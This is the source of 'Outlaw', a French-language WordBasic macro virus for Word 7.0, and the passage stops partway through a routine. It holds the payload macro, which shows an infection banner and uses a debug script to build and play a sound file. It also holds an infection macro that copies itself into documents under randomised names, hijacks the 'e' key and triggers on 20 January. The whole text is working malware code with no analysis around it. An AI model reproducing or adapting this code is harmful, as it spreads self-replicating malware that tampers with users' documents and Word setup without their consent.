Declare Function sndPlaySound Lib "winmm.dll"(pszSoundName As String, uFlags As Long) As Long Alias "sndPlaySoundA"

Sub MAIN
	Install
	Insert
	NO$ = GetProfileString$("Intl", "Name")
	NJ$ = NomFichierMacro$(NO$)
	G$ = InfosNomFichier$(NJ$, 5)
	WinDir$ = String$(255, "X")
	N = GetWindowsDirectoryA(WindDir$, 255)
	N = sndPlaySound(G$ + "laugh.wav ", 0)
End Sub

Sub Insert
-> To print on the screen a page 
PleinEcran
FenDocAgrandissement
InsertionPara
Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9)
Gras
TaillePolice 18
Insertion "You are infected with"
InsertionPara
InsertionPara
InsertionPara
TaillePolice 72
Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "Outlaw"
InsertionPara
InsertionPara
TaillePolice 18
Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "A virus from Nightmare Joker"
End Sub

Sub Install
-> To prepare the sound (with the debug)
 
FichierNouveau .Mod�le = "Normal.dot", .NouvMod�le = 1
NO$ = GetProfileString$("Intl", "Name")
NJ$ = NomFichierMacro$(NO$)
G$ = InfosNomFichier$(NJ$, 5)
Open G$ + "laugh.scr" For Output As #1
Print #1, "N LAUGH.COM"
Print #1, "E 0100 52 49 46 46 32 0E 00 00 57 41 56 45 66 6D 74 20"
Print #1, "E 0110 32 00 00 00 22 00 01 00 40 1F 00 00 2B 04 00 00"
Print #1, "E 0120 20 00 01 00 20 00 01 00 F0 00 00 00 00 00 00 00"
Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0140 00 00 00 00 00 00 66 61 63 74 04 00 00 00 08 68"
Print #1, "E 0150 00 00 64 61 74 61 E0 0D 00 00 9B 59 2B 31 7F 2C"
Print #1, "E 0160 F4 2F 88 48 2E BF 42 88 88 71 C0 B0 DE 7E F9 67"
Print #1, "E 0170 82 49 58 A9 06 00 69 87 5C 19 41 E2 D2 75 FF FF"
Print #1, "E 0180 FF 0F 55 15 55 25 00 00 00 00 10 8B 08 0A B0 4B"
Print #1, "E 0190 B1 88 A0 37 B0 05 A0 37 00 44 99 D1 D1 4C FF CF"
Print #1, "E 01A0 0D 2C 00 80 BF B4 A8 06 92 7A 20 E1 23 58 29 D5"
Print #1, "E 01B0 A3 BD 1B A4 09 A9 3B C8 1D 50 95 5C D1 55 7F 62"
Print #1, "E 01C0 32 46 12 EA CE 57 2A 44 AA 19 0C 97 26 6F 8A D0"
Print #1, "E 01D0 98 A6 8D BB E9 79 DB 70 89 D1 9D 3C DB BC 1E 4F"
Print #1, "E 01E0 B0 45 DC 2A 28 C9 FB BE 0A 5D 9C 11 39 8D 3F AF"
Print #1, "E 01F0 F2 E6 7B 49 63 07 DD 24 B0 BA DF D3 E2 B8 A7 F0"
Print #1, "E 0200 EF 44 A7 BA 22 C5 77 2A 57 57 0C 9F E6 30 DD 9A"
Print #1, "E 0210 CC 82 3E F4 CC 81 DC 88 C2 B3 1F 44 DB 94 A9 2E"
Print #1, "E 0220 E6 46 22 5D EF 1F 17 1D 9B 52 BE D9 91 F9 DC AF"
Print #1, "E 0230 B9 83 AC 0D 2C 86 6F E9 04 93 D9 5C 4A 9A AD 40"
Print #1, "E 0240 32 59 20 D2 5E 0D 8C 66 C8 55 1D 91 43 3A 6D FF"
Print #1, "E 0250 E0 EB CC D5 D8 34 4C ED 0D 57 1F 64 59 D5 47 D1"
Print #1, "E 0260 FF 57 63 2A 0A 99 6E 6A 77 65 1E 58 AD 3A 6F 8C"
Print #1, "E 0270 62 25 EE 43 C8 47 5D 7E 71 66 9F 6B C2 99 C5 1A"
Print #1, "E 0280 30 4C F5 1A C0 DD 08 BD 36 40 7D 63 9E 63 9E 31"
Print #1, "E 0290 30 81 8D C1 70 AD BD A8 F0 9F 1B 64 CA B9 CC 12"
Print #1, "E 02A0 1B 48 88 7A 9F 92 3B 9F 28 45 BF B1 81 CB AE 8E"
Print #1, "E 02B0 DD A7 2C 75 65 27 5D 76 19 E3 DF EB C9 B9 23 D8"
Print #1, "E 02C0 89 41 FE E9 C1 96 20 67 35 40 9D 11 76 08 AD A3"
Print #1, "E 02D0 4C EE 1E E7 90 72 4E 96 46 8A DB EB E2 B9 5E 51"
Print #1, "E 02E0 92 48 C8 3D E2 52 75 A2 85 44 2D BB DB D1 CF D9"
Print #1, "E 02F0 29 FD BE A4 2E 81 EE 28 66 1B DD EB C2 BD 69 59"
Print #1, "E 0300 6C 45 C2 C6 F7 2B 86 3F 00 4F 9F 9D 08 8B FE 05"
Print #1, "E 0310 76 DC AD E3 5B 1B BE 93 78 40 61 6C 32 B9 AE 7F"
Print #1, "E 0320 CD 4C 27 48 6B B2 D1 F5 4D 6F 2F DA 51 4B 0F 42"
Print #1, "E 0330 B9 BA 5E B4 72 02 6E 73 70 4D DD E3 CA BD 47 A5"
Print #1, "E 0340 13 56 E9 BF C6 10 55 97 CA 55 DF E7 79 7B AF 8A"
Print #1, "E 0350 C4 64 3F 99 24 A2 8F 9F 6D 3C DB 5B D3 79 30 D2"
Print #1, "E 0360 7B 3C 7D 7D 75 BD 5D 2A E0 7E 4F 18 A9 E9 4F F7"
Print #1, "E 0370 BC FD 4F 03 86 1D 5F E4 6C 66 E3 52 A9 75 D9 BB"
Print #1, "E 0380 52 7B FA DF DF B7 A9 0D C9 78 2F 5B A2 F7 3F 8E"
Print #1, "E 0390 82 A0 BF 8B 36 47 6F B2 ED B1 67 E2 39 91 B5 13"
Print #1, "E 03A0 AA 4B F5 D5 2F A4 44 8D E7 5F 7E 62 BE 1E DF 89"
Print #1, "E 03B0 C6 44 4F 23 A9 25 5F B6 11 68 A1 DA B9 78 2B 22"
Print #1, "E 03C0 2A 66 E9 7D 5D 35 86 9F 61 75 AF 68 75 26 9E D9"
Print #1, "E 03D0 DB C0 6F E4 E2 D7 AE 47 F9 20 9F 62 4A 55 8F E0"
Print #1, "E 03E0 5F 0B 9B 7D 57 47 DF CE 57 35 7E ED E1 96 4D 71"
Print #1, "E 03F0 43 56 CD 6F 68 A2 7C 24 80 78 61 E4 32 B5 12 54"
Print #1, "E 0400 0B 63 33 7D 6C C7 C7 06 C0 5F BC 29 6E BE AD 6A"
Print #1, "E 0410 C0 17 DD 5F EC B3 5D F7 F2 41 21 64 BA AD 76 3E"
Print #1, "E 0420 51 70 F9 05 CA 1F 77 C1 19 39 BD 87 D2 89 2E 50"
Print #1, "E 0430 1D B4 0C A2 0C 75 0D 49 89 E7 DD E3 C9 99 CE 4E"
Print #1, "E 0440 0F 76 82 2E ED 13 4B B5 50 6F 5E 92 36 01 4D F1"
Print #1, "E 0450 02 B6 9C 29 10 63 AD AF 03 35 9B EB 4A 7A 4E 87"
Print #1, "E 0460 16 39 24 C8 FD 77 08 87 2E 65 BE BD F3 29 9C D9"
Print #1, "E 0470 94 58 3D D2 B5 5A 0D 62 BD DE DB 73 5A 7A 2B 22"
Print #1, "E 0480 3F 08 53 FD 57 A3 29 AA 7E 4F 0C 7A 08 A8 5D 87"
Print #1, "E 0490 78 17 BD 2D 1A 85 FC FE A3 03 5D E3 49 95 FB 6C"
Print #1, "E 04A0 2C 79 96 6E AE 52 2E 10 01 3A 1D 86 F3 A7 8D 43"
Print #1, "E 04B0 88 AB FD 7B 45 18 2D E2 1D C8 DF 5B C2 75 C5 12"
Print #1, "E 04C0 6C 45 1A 5B E3 5B B5 68 05 4F DC 69 8A 40 9D 87"
Print #1, "E 04D0 CB F8 DD 8B 3E 0A AC AE 5D 12 DF 6B 49 B5 44 4C"
Print #1, "E 04E0 53 4E 3D 02 A6 B8 72 AF F5 7E 4D A1 C1 2B 5E 1A"
Print #1, "E 04F0 86 F4 9D D7 AB D8 EC E3 A5 59 9D 43 42 6D C4 FF"
Print #1, "E 0500 DF 05 69 8D A7 CD AF 49 55 05 3C 3C 23 9C 9C 87"
Print #1, "E 0510 B8 17 3E 20 FA 5E BF 4C 7E EA 23 D3 D9 54 AE D6"
Print #1, "E 0520 A8 15 5F DF 7F 4D D7 55 FF 1F CF 61 41 02 8F E7"
Print #1, "E 0530 35 0E 1F 6C 1B 99 7F E6 A5 05 21 DB 53 B5 43 E4"
Print #1, "E 0540 A9 18 D7 F7 D7 5D DD DF 5D 1D DF 34 76 27 8F BC"
Print #1, "E 0550 00 01 8F CF 02 E6 0F 26 23 23 A1 E2 52 95 A9 16"
Print #1, "E 0560 03 18 D5 5D FD 77 FF DF 5D 15 EF 34 A2 03 0F E8"
Print #1, "E 0570 75 D6 8F 0F 4A B9 DF 81 99 35 E3 5A 4A 75 8B D6"
Print #1, "E 0580 30 1C F7 DF D7 9D 75 DF 7D 15 BF F2 B5 83 BF 68"
Print #1, "E 0590 F2 29 3F FF 30 01 6F 66 EA DA 9D CA 39 51 AA 58"
Print #1, "E 05A0 F2 15 5D D5 5D FD FF 55 7F 15 9F 76 2D 12 EF 3A"
Print #1, "E 05B0 68 7D DF 0A 0B B4 8F EB F8 AF 17 52 C1 6C 91 77"
Print #1, "E 05C0 52 29 55 5D DF 4F F5 5D DD 2F 3F 2B 8E 88 8F 35"
Print #1, "E 05D0 D4 3F FF E1 F3 27 EF A2 06 2A DF 5A C9 50 B5 D8"
Print #1, "E 05E0 63 35 F3 DD 4C 87 F7 D1 59 37 DF 64 79 A4 CF 95"
Print #1, "E 05F0 F0 57 2E 3C B6 DC 8E 0D 1E 2D 61 53 C2 34 31 C1"
Print #1, "E 0600 4A 19 4E FA 42 6B D7 7A 62 2F 8F 9A 92 E6 5F BE"
Print #1, "E 0610 71 05 4E FF 38 C4 4E DD D9 1D 21 63 5A 51 12 E5"
Print #1, "E 0620 3C 29 5B 17 CB EF 5D DF DF 2C 4E 42 7A 71 BE FC"
Print #1, "E 0630 EB 1A CE 38 FC D6 FE CD E4 22 23 D3 5A 95 FA 98"
Print #1, "E 0640 92 66 FD BE E0 93 22 50 A8 46 BE FE 48 F0 CF 22"
Print #1, "E 0650 3E CB 2F AC 5A EA 0F EC 43 E3 DB D2 B9 54 AB 64"
Print #1, "E 0660 D2 7E FD B7 E8 8D 72 89 0E 18 1E EA 43 B0 3E 55"
Print #1, "E 0670 01 D3 EE FD 19 2A EE AF 52 93 E3 D2 CA 94 0B 85"
Print #1, "E 0680 0E 3A 7F CB 5F BD F7 D5 D7 45 AF 72 9D 46 7F E1"
Print #1, "E 0690 CC 38 7F F5 4D E5 0F C0 25 F1 E3 DA C1 94 C7 21"
Print #1, "E 06A0 F2 15 D7 DF DF AF 5D 5F 55 15 DF C5 CC FA 9F 0D"
Print #1, "E 06B0 9C 23 BF 86 BE 25 9F 72 EB FC A5 52 42 95 29 64"
Print #1, "E 06C0 4A 16 5F 7F FD D5 DF FD 7F 17 6F BF D5 53 BF 91"
Print #1, "E 06D0 41 12 5F 6E 8A 98 FF F7 92 EF E3 DA 42 79 48 DF"
Print #1, "E 06E0 4B 16 D7 77 F7 15 7F 5F D7 5F 7F 2B A0 F6 3F DA"
Print #1, "E 06F0 D3 57 EF B8 80 B9 0F AE 64 A9 DD C2 41 51 C9 23"
Print #1, "E 0700 21 1B F7 5F 5F 27 77 D7 F7 25 4F E7 60 9A 8F D5"
Print #1, "E 0710 A5 A2 5F 50 A1 D7 8F 09 C4 ED 4F 3A 2A 75 C0 8B"
Print #1, "E 0720 04 25 D9 77 DD 55 CF 8E 6F 25 7F 55 5E 53 2F A6"
Print #1, "E 0730 76 13 4F DE ED E1 AF 21 7C 1C D9 52 2A 71 29 D4"
Print #1, "E 0740 E9 2F 92 0D 57 1F B5 09 98 4F 0F 1A 5B 4C 7E 10"
Print #1, "E 0750 DC AA DF 24 28 EF 5F CB ED 94 9F DA 42 99 C9 27"
Print #1, "E 0760 31 28 DF 7F FD F6 5F 4A A0 6F 0E 89 C1 BD 9E 10"
Print #1, "E 0770 3A 07 9E FD 12 F8 0E A0 A9 49 25 63 B2 51 17 41"
Print #1, "E 0780 52 4C 1C EF FF EF 0A 4B 7D 45 FE B7 5B 46 2E 25"
Print #1, "E 0790 22 4B 7F DB 03 1A EE 68 5C 60 E1 4A D2 54 C4 ED"
Print #1, "E 07A0 26 76 03 AE 42 6F 66 77 29 79 2F 94 C1 CD AF 04"
Print #1, "E 07B0 99 B4 7E 71 0C 1A BF 5D DE FD E1 D2 CA 75 77 8F"
Print #1, "E 07C0 8A 24 5F 7D DD 6F 7D 5D DF 25 4F FC 5C DA 3F 92"
Print #1, "E 07D0 55 F7 BF 08 8E 89 7F 05 BE 0C 63 63 3A 75 DE D6"
Print #1, "E 07E0 2F 25 75 DD F7 2F FF 7F F7 25 3F 06 06 64 8F 33"
Print #1, "E 07F0 FA BF 6F 5E 14 6D CF A3 0E 27 A3 D3 32 95 AF 5A"
Print #1, "E 0800 EB 25 DD D5 7D 57 FF DF FD 2D 7F 53 86 CB 9F 6C"
Print #1, "E 0810 65 DD AF 32 7E 13 DF 68 6D 0E 23 D3 CA 74 09 5D"
Print #1, "E 0820 2B 27 55 D5 F7 6D F7 77 F7 27 6F A4 D9 04 CF 4A"
Print #1, "E 0830 F5 81 8F 52 CE 81 CF 6A C2 04 1B 63 2A 31 4A F8"
Print #1, "E 0840 8A 24 57 F5 75 FF 55 FF F5 1F DF 6A 70 23 BF 3E"
Print #1, "E 0850 B8 80 5F EF 40 A2 CF 6F 98 39 53 32 39 71 49 AD"
Print #1, "E 0860 5D 2E 57 57 49 1F 80 CB F5 37 7F DE 49 56 6F AE"
Print #1, "E 0870 3A 02 CF 7A E3 30 DE CC B4 99 61 E3 C9 74 17 D2"
Print #1, "E 0880 5F 72 F3 5D EF 95 5F B7 8A 6F FF A3 20 03 5E 52"
Print #1, "E 0890 D2 94 2E A4 95 22 4F 1D 4C 92 DF 5A C3 70 4A D8"
Print #1, "E 08A0 22 56 CA ED 6A 45 47 F7 87 2B 3E 67 A9 0D EE 9E"
Print #1, "E 08B0 D4 79 FE 52 00 66 7E 6B 76 AE E3 5B 3A 95 76 20"
Print #1, "E 08C0 FF 5E AA 3C 26 B2 3D 5F 3F 7B BF 6D DE 8E EE 84"
Print #1, "E 08D0 84 D3 DE 44 B4 0D BE 5A E4 F5 5D 53 B2 70 76 12"
Print #1, "E 08E0 31 29 FD 20 63 FD AD 57 AF 44 4E 26 FD AB 5E 65"
Print #1, "E 08F0 18 85 2E C9 B2 1F DE 00 FA 29 5D E3 B2 95 8E 53"
Print #1, "E 0900 64 24 F9 C7 F7 6F 7F 77 5F 15 9E E5 CA 19 AD 4E"
Print #1, "E 0910 7E DA 8F 82 96 F5 7F 06 76 08 A3 62 CC B8 EF 93"
Print #1, "E 0920 B0 18 57 77 FD FD 7F D5 FD 0F 7F 5D C6 7C 3F 88"
Print #1, "E 0930 4C 8A CF 3E 70 0F 9F 90 C4 1C E3 DA 54 99 23 57"
Print #1, "E 0940 6C 3F 7D DD 5F 07 57 DD 7F 1F 9F DC 64 94 5F 88"
Print #1, "E 0950 AB 9E CF 45 DC 11 7F A2 A3 5E 25 DB 42 D9 A1 1A"
Print #1, "E 0960 64 18 F5 F7 77 6D DF FD DF 17 4F 67 6C 3D 8F 21"
Print #1, "E 0970 9B 11 0F 50 B6 AC 4F 79 7E 5C E7 5A BB B9 3D A1"
Print #1, "E 0980 EE 14 FF 57 FD B5 FF 77 5F 5F 6F 4E 02 61 DF 72"
Print #1, "E 0990 36 C3 1F 8E 08 BF 7F B7 BA 15 A5 5B C2 94 5B B3"
Print #1, "E 09A0 F0 65 F7 DD FD A5 75 DF FD 1D 7F 61 DA 55 EF 29"
Print #1, "E 09B0 B4 70 2F 2F CB 62 9F ED 5D F8 21 6B CA 71 8C 0B"
Print #1, "E 09C0 6C 53 FD D5 57 75 D7 DF DF 7D 4F 1A 8B F0 0F AD"
Print #1, "E 09D0 31 CF 7F DA 68 99 FF 86 0C BB 21 D3 A1 70 C1 18"
Print #1, "E 09E0 71 75 FF 75 E6 B1 5B 9F 71 75 8F BF A4 D2 BF 46"
Print #1, "E 09F0 F9 32 3F 54 98 1B 7F 6B 26 09 A1 62 54 95 92 D5"
Print #1, "E 0A00 73 55 DD BF 80 CB AE 9F 2B 2F 7F E5 95 F2 0F 9A"
Print #1, "E 0A10 BD BD DF 7F 83 F6 7F 64 D6 11 21 E3 BA 98 31 18"
Print #1, "E 0A20 26 76 FC D7 CF 1D AB 89 F6 1F CE 28 FD 13 3E 32"
Print #1, "E 0A30 DB 9E BF CD DD 5B 3E 70 76 AE A3 5A CB 70 F6 23"
Print #1, "E 0A40 11 56 C8 B3 6A C4 FE F5 7F 37 6F C7 32 CB DF 5A"
Print #1, "E 0A50 8B C8 BE 4E 64 A4 4E FA AD F5 61 DB 32 95 9B 5A"
Print #1, "E 0A60 2D 26 5C 7F E6 36 E8 AE A3 28 7E 71 98 9C 9F 7C"
Print #1, "E 0A70 3B 64 BF 7B 8A 03 5E 89 6B 02 DF D2 B1 90 C9 20"
Print #1, "E 0A80 F1 22 54 26 EB BD 82 0B 02 1F BE FB 33 1D DE F1"
Print #1, "E 0A90 3B 85 CE 47 B8 38 1E E1 E9 C3 23 63 43 91 A4 8E"
Print #1, "E 0AA0 1D 56 A8 2D 30 AB 9A 7D 9F 5D 5F 66 60 88 8F 5F"
Print #1, "E 0AB0 F9 7D 6F 53 34 14 2E 72 0D D1 5F 6B B2 94 C9 14"
Print #1, "E 0AC0 B2 55 FF FF 3F 49 7D DD DD 2D 2E 8A CE E2 7F AF"
Print #1, "E 0AD0 96 87 4F 2C 15 9B 0F 65 C2 1E 65 EB 3A B5 70 BD"
Print #1, "E 0AE0 AB 58 77 D7 D7 0D D5 75 FF 2F 0F 0C 99 C7 9F D6"
Print #1, "E 0AF0 E5 D3 6F 76 F2 E5 FF 6A 54 5F A3 5B 3B 99 27 63"
Print #1, "E 0B00 0A 2D 57 FF DD 7F DD D7 FF 55 BF EA 7A 00 3F CA"
Print #1, "E 0B10 09 5A CF F0 25 30 AF AC 1E 42 61 EB 33 99 29 E0"
Print #1, "E 0B20 45 29 F5 F7 F7 3D 77 7F FD 65 DF A4 1E 9C CF A0"
Print #1, "E 0B30 CE 37 2F 0F E4 C7 1F 60 AA 2D E1 EB C2 99 1F 59"
Print #1, "E 0B40 EB 68 F5 DD 77 E7 F5 FF F5 2F BF 58 56 30 7F 9A"
Print #1, "E 0B50 6E 1E 0F 47 98 2F DF 22 28 9B 61 E3 C3 B9 83 5A"
Print #1, "E 0B60 AD 35 57 1F 62 1D 57 7F 5D 35 FF 51 5C 32 8F 87"
Print #1, "E 0B70 FC 76 BF 4F 28 7E 6F 5A C5 09 5F F3 C9 9D 9C 27"
Print #1, "E 0B80 61 73 7F DD FF A7 D8 DD D7 2D 4F DB 9C 06 1F 10"
Print #1, "E 0B90 F0 10 2F 3E 62 0F 2F 08 61 EB 61 6B B2 B9 2E D7"
Print #1, "E 0BA0 20 39 DF F7 75 B6 F5 D7 DD 3F 6F A4 08 DD 1F 69"
Print #1, "E 0BB0 A6 66 6F CF 53 1E DF 8F 04 E5 1D 6B 5B 75 2F 61"
Print #1, "E 0BC0 8D 38 DD 7F 55 9D 7E 9F 8D 34 FF 21 0A B1 AF 07"
Print #1, "E 0BD0 6E 36 0F A2 CA 57 8F A4 01 84 E1 63 33 BD BC 54"
Print #1, "E 0BE0 56 3B 5D FF FF CD 55 F7 CB 3E 9F 1A 00 F5 1F 2D"
Print #1, "E 0BF0 73 0A 1F B0 BE 30 2F F6 BA EC 23 64 33 DD C0 1E"
Print #1, "E 0C00 F0 39 15 7F D5 DC F7 9F FB 37 6F 9D 62 6C 4F A5"
Print #1, "E 0C10 5D 28 BF 03 73 B9 AF 33 F8 98 61 EC 41 99 AA D2"
Print #1, "E 0C20 89 34 B6 75 5F 06 E2 3D 63 4E 1F 4E 23 F9 EF 4B"
Print #1, "E 0C30 6E CB 5F 87 B0 88 4F 26 42 E2 1F E4 B2 BD C9 E2"
Print #1, "E 0C40 9F 33 5D EE C8 E4 BB 7F 05 5D 1F 22 79 F3 1F B0"
Print #1, "E 0C50 D6 DD 8F 0F 4C 8F 2F 8C 66 92 9F 6B B4 BD 7C B1"
Print #1, "E 0C60 C7 46 EE 84 E3 4D FF 91 6A 4A 8F 1E 02 01 2F 1C"
Print #1, "E 0C70 80 DF CF D3 1B 05 9F 86 5A 09 1F 6C 51 DA 2B 7E"
Print #1, "E 0C80 8D 50 5D 55 C4 8F 9F AB 2A 79 9F B6 C2 CE 0E 26"
Print #1, "E 0C90 81 89 9F 9B DE 73 1F 90 EE 9B DF DC 3A BE 42 A1"
Print #1, "E 0CA0 40 48 6A B4 63 8D A7 BF B2 4A 6F 5C 13 A3 EE 52"
Print #1, "E 0CB0 F6 E3 6E B8 C4 C4 7F C7 49 29 5D 6B D3 BD 0C 9D"
Print #1, "E 0CC0 0B 43 3B DD 62 97 FD AC 63 4F 4E 57 10 8E 6F 3B"
Print #1, "E 0CD0 69 4F 6F A8 0C 15 AF 0C C6 EB DF EB D1 B9 3D 2D"
Print #1, "E 0CE0 2C 58 50 15 D9 4C D5 FD FF 61 CF 21 01 31 2F 1D"
Print #1, "E 0CF0 61 A4 BE 10 D8 FA AE 88 E8 BE 1F 64 C2 99 1A 64"
Print #1, "E 0D00 32 45 ED 9F 94 C9 0E 7D F7 4D BE 30 BC 94 2F E8"
Print #1, "E 0D10 5D 82 0E 9C 7A 4D 9E D0 EB E5 1F EC BA BD 40 62"
Print #1, "E 0D20 E0 4D 36 7F 46 D1 8A F0 3F 4B CE A6 4E 1F 7E 25"
Print #1, "E 0D30 E5 53 4F 61 B4 FE AE A0 A0 86 E1 64 61 B9 C8 F1"
Print #1, "E 0D40 06 48 FF 57 1F 02 42 80 B0 5A FE DE 41 E4 EE 86"
Print #1, "E 0D50 D8 B2 2F 84 CE 88 3F 1D E8 E4 1F 64 CA 9A 8B 56"
Print #1, "E 0D60 D1 5C 9A 9F C0 4B 14 7F 3A 55 2E 13 0D BF 3F A9"
Print #1, "E 0D70 8B 73 EE CE 1C F1 9E 87 30 03 A1 D4 CA BD B5 7A"
Print #1, "E 0D80 69 55 3A D8 1F 79 7D D5 FF 5D 9F D7 65 80 AE 44"
Print #1, "E 0D90 CA 6E FE E5 9D CD 0D F9 FC 26 E3 EB 32 B9 02 62"
Print #1, "E 0DA0 03 1D 3B 04 68 AA 02 F7 B9 5F 7F 4A 11 A1 7F 3F"
Print #1, "E 0DB0 5A 92 CF 41 D4 8E AF BD 85 F8 61 E4 41 99 AB A0"
Print #1, "E 0DC0 3D 55 8E 4A 9D CB EB 99 E6 5F AF 32 26 D6 8E F0"
Print #1, "E 0DD0 9A 31 FD 17 9B 1D 6F 03 AD 3A E1 6B 2A 96 88 D8"
Print #1, "E 0DE0 8A 55 89 3F DD 04 82 9F 12 68 4F AF 34 BC 0E FE"
Print #1, "E 0DF0 5B BD DE 4B BB 91 7F 9E 50 CC 5B DC D3 99 2B 5B"
Print #1, "E 0E00 0C 56 6F 97 DF FB 9A D9 00 59 FD F4 18 AD BE 4F"
Print #1, "E 0E10 00 F9 6D F1 A1 B5 6E 49 50 F2 5D 6B C2 99 10 24"
Print #1, "E 0E20 F1 54 FD AE 6F 09 EA 3D 02 69 6D EC C2 B1 6E F3"
Print #1, "E 0E30 E3 8A EE 0A 85 87 3F 05 8C D5 17 6C 53 95 DA E4"
Print #1, "E 0E40 86 33 32 A2 BA BF 21 94 AA 66 2E DF 01 C5 DD 61"
Print #1, "E 0E50 AC 77 9E 78 31 18 1E CC 69 B9 9B 63 4A 99 12 DB"
Print #1, "E 0E60 43 29 C3 7D 9D 8B EA 85 D8 73 9C 17 09 50 3E 02"
Print #1, "E 0E70 C6 D9 3E 43 5B 25 3D 31 10 9B 1D 5C C2 75 9B 77"
Print #1, "E 0E80 8C 48 02 41 F7 BF 0A C5 9D 4B 7E 3F 61 F7 6D 26"
Print #1, "E 0E90 05 92 2D 7E 4A D0 7C 3A 78 A2 1F 64 C2 BD 12 20"
Print #1, "E 0EA0 71 6E 7D 63 89 EA BB 9B 90 3F CD 15 A1 4C 8E 69"
Print #1, "E 0EB0 76 84 3C 15 00 9E 6C 05 80 5D 1F EC C9 BD 27 D8"
Print #1, "E 0EC0 AA 3B 8B 7F A5 66 C3 CE 8A 26 AD 49 AD A8 2C B0"
Print #1, "E 0ED0 33 DB 8C 1F 81 9B EC D7 E9 82 21 EC 31 9A 28 B3"
Print #1, "E 0EE0 37 66 0A 51 E0 9A E3 1F A8 5D 7D 83 28 8E FD EE"
Print #1, "E 0EF0 91 27 2C 8C 6B 13 7D AC F0 C9 9F E4 C1 79 0B A2"
Print #1, "E 0F00 12 05 B5 CA BF 77 28 FF EA 77 CC 46 6A 80 BC 35"
Print #1, "E 0F10 D3 26 EC 69 48 97 FC CC E2 68 DD EB C2 BD E8 60"
Print #1, "E 0F20 6C 7F CA 94 64 7B 83 95 6B 47 1D A6 B5 07 9C 47"
Print #1, "E 0F30 04 20 1B 91 2B 75 0B E8 2B CB"
Print #1, "RCX"
Print #1, "0E3A"
Print #1, "W"
Print #1, "Q"
Close #1

Open G$ + "Sounda.bat" For Output As #1
Print #1, "@echo off"
Print #1, "debug < " + G$ + "laugh.scr > nul"
Close #1

Shell G$ + "Sounda.bat", 0

n = Seconde(Maintenant())
Timer = n + 25
If Timer > 59 Then Timer = Timer - 60
While Seconde(Maintenant()) <> Timer
Wend
Beep

Open G$ + "Rename.bat" For Output As #1
Print #1, "@echo off"
Print #1, "copy laugh.com laugh.wav"
Close #1

Shell G$ + "Rename.bat", 0

n = Seconde(Maintenant())
Timer = n + 5
If Timer > 59 Then Timer = Timer - 60
While Seconde(Maintenant()) <> Timer
Wend
Beep

Finish:
End Sub
---------------------------
Macro M8908

PURPOSE :	Infected a document 
		Test if the payload macro must be launch

Sub MAIN
On Error Goto Finish

A$ = NomFichier$()
If A$ = "" Then Goto Finish

UZ$ = GetProfileString$("Intl", "Name")
ZU$ = GetProfileString$("Intl", "Name2")
ZUZ$ = GetProfileString$("Intl", "Name3")

If CheckInstalledDoc = 1 Then
	Goto Finish
Else
	On Error Resume Next
	FichierEnregistrerSous .Format = 1
	Routine
	Crypt
	PayloadMakro
	FichierEnregistrerTout 1, 0
End If

Finish:
A$ = NomFichier$()
If A$ = "" Then
	Goto Finito
Else
	Insertion "e"
End If
Finito:
If Mois(Maintenant()) = 1 And Jour(Maintenant()) = 20 Then
	Goto Payload
Else
	Goto NO
End If

Payload:
-> test if it's the version 7.0 of WINWORD
If (InStr(AppInfo$(1), "Macintosh") > 0) Then Goto NO
If (InStr(AppInfo$(1), "Windows 3.") > 0) Then Goto NO
If Left$(AppInfo$(2), 1) = "6" Then
	Goto NO
Else
	Goto YES
End If

YES:
WordVer = Val(Left$(AppInfo$(2), 1))
AL$ = Str$(WordVer)
AL$ = LTrim$(AL$)

If AL$ = "7" Then
	Goto Payload_Start
Else
	Goto NO
End If

Payload_Start:
AK$ = GetProfileString$("Intl", "Name3")
OutilsMacro .Nom = AK$, .Ex�cuter, .Afficher = 0, .Description = "", .NouvNom = ""

NO:
End Sub

Sub Crypt
-> sub-program to create the name of the macro number 2 and copy to a new file
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Heure(Maintenant())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

E$ = C$ + A$
ZU$ = GetProfileString$("Intl", "Name2")
MacroCopie "Global:" + ZU$, NomFen�tre$() + ":" + E$
D�finitVarDocument "VirNameDoc", E$
OutilsPersonnaliserClavier .CodeTouche = 69, .Cat�gorie = 2, .Nom = E$, .Ajouter, .Contexte = 1
End Sub


Sub Routine
-> sub-program to create the name of the macro number 1 and copy to a new file
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Heure(Maintenant())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

D$ = C$ + A$
